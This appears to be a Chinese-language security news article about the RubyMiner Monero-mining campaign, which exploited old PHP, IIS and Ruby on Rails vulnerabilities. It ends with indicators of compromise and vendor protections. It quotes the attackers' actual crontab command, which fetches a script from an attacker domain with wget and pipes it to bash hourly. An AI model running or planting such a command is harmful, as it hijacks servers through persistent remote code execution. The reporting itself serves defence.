近日，Check Point 的安全研究人員發現了 RubyMiner 惡意軟件家族，針對全球的 web 服務器發起攻擊，并試圖利用這些服務器挖掘門羅幣。24 小時內，全球 30% 的網絡都受到影響。
上周，全球 web 服務器遭遇了一場大規模攻擊，就在那時 RubyMiner 首次進入大眾視野。專家認為，此次攻擊背后的主要操控者只有一個人，盡在一天之內就入侵了全球近三分之一的網絡。
在過去的24小時內，全球 30％ 的網絡都遭遇了針對 web 服務器的加密貨幣挖礦攻擊。在此期間，該攻擊者試圖掃描全球網絡，從中找到易受攻擊的 web 服務器用于挖礦。主要受影響的國家是美國、德國、英國、挪威和瑞典，但全球其他國家也未能幸免。
意大利安全公司 Certego 也注意到 RubyMiner 從 1 月 10 日就開始發起攻擊：
從昨天（1月10日）23:00開始，我們的威脅情報平臺就已經開始大規模報告關于 ruby http 的利用。令人驚訝的是，黑客大量使用 2012 年和 2013 年發布和修補的舊漏洞，而且似乎并不打算隱藏自己的蹤跡，而是打算在最短的時間內感染大量的服務器。攻擊者選擇利用 HTTP Web 服務器中的多個漏洞，分發開源的 Monero 挖礦程序 XMRig。XMRig 在 2017 年 9 月利用 Microsoft IIS 6.0（Windows Server 2003 R2 中的 Web 服務器）中的漏洞進行攻擊。XMRig 通常會向開源代碼的作者捐贈 5％ 的挖礦所得。然而，攻擊者可能覺得 5% 也還是太多，因此從代碼中刪除了“捐贈元素”，將所有利潤據為己有。
RubyMiner 影響范圍包括 Windows 服務器也包括 Linux 服務器，主要利用 PHP、 Microsoft IIS 和 Ruby on Rails 中的漏洞來部署挖礦軟件。Certego 的分析報告顯示，惡意程序一直在利用 Ruby on Rails 中一個可造成遠程代碼執行的古老 CVE（CVE-2013-0156）漏洞。
PHP 服務器攻擊向量
Ruby on Rails 攻擊向量
RubyMiner 的具體攻擊過程如下：
攻擊者在 POST 請求內發送一個 base64 編碼的有效載荷，并誘導解釋器執行該有效載荷。這個惡意的有效載荷是一個 bash 腳本，其中添加了一個每小時運行一次的定時任務 cronjob，同時還下載了一個包含 shell 腳本的 robots.txt 文件，用于獲取并執行挖礦軟件。隨后調度程序執行命令，運行整個過程（包括每小時從服務器下載文件）。
cron 是一個基于 UNIX 的調度程序，可以通過自己的語法在固定的時間運行計劃好的任務。 使用 -r 參數運行 crontab 命令將刪除現有 crontab 中的所有現有任務，并允授予礦工全部優先級。
echo “1 * * * * wget -q -O – http://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab –
攻擊者可以使用”1 * * * *“將新任務注入到干凈的 crontab 文件中，進而命令調度器每小時無限運行一分鐘。新任務將下載并執行“internetresearch.is”上托管的“robots.txt”文件，進而開始挖掘。
正常的robots.txt
攻擊活動中的 robots.txt
專家認為，robots.txt 文件也可以用作 RubyMiner 的 kill 開關，修改受感染 web 服務器上的 robots.txt 文件，進而關停 RubyMiner。
（關閉開關后）一分鐘之內，所有重新下載文件的計算機都將收到沒有加密挖礦軟件信息的文件。
此外，攻擊者所使用的一個域名“lochjol.com”在 2013 年也涉及到 Ruby on Rails 漏洞相關的攻擊。
文章發布時，全球大約有 700 臺服務器在 24 小時的攻擊中徹底中招。
以下是 CheckPoint 發布的 RubyMiner 的 IOC 等相關信息：
IoC
攻擊服務器及 Dropzones：
203.24.188[.]242
Internetresearch[.]is
dgnfd564sdf[.]com
lochjol[.]com
Payloads：
a6a57e6a216dff346a22f51639c4b99c
91d31ed8e569c0089fa070ed125e1fc5
761f5cfd0a3cddb48c73bc341a4d07a9
IPS 及反僵尸網絡防護
我們的 IPS 和 AB 保護已經成功地阻止了從第 0 天開始的相關攻擊。我們將繼續監視和研究任何額外的野外攻擊。
IPS 防護：
PHP php-cgi 查詢字符串參數代碼執行
Ruby on Rails XML 處理器 YAML 反序列化代碼執行
Microsoft IIS ASP 腳本源代碼泄露
AB 防護：
Linux.RubyMiner.A
點擊此處可以獲取 CheckPoint 的完整分析內容。
*參考來源：SecurityAffairs，AngelaY 編譯，轉載請注明來自 FreeBuf.COM。
京公網安備 11010502049343號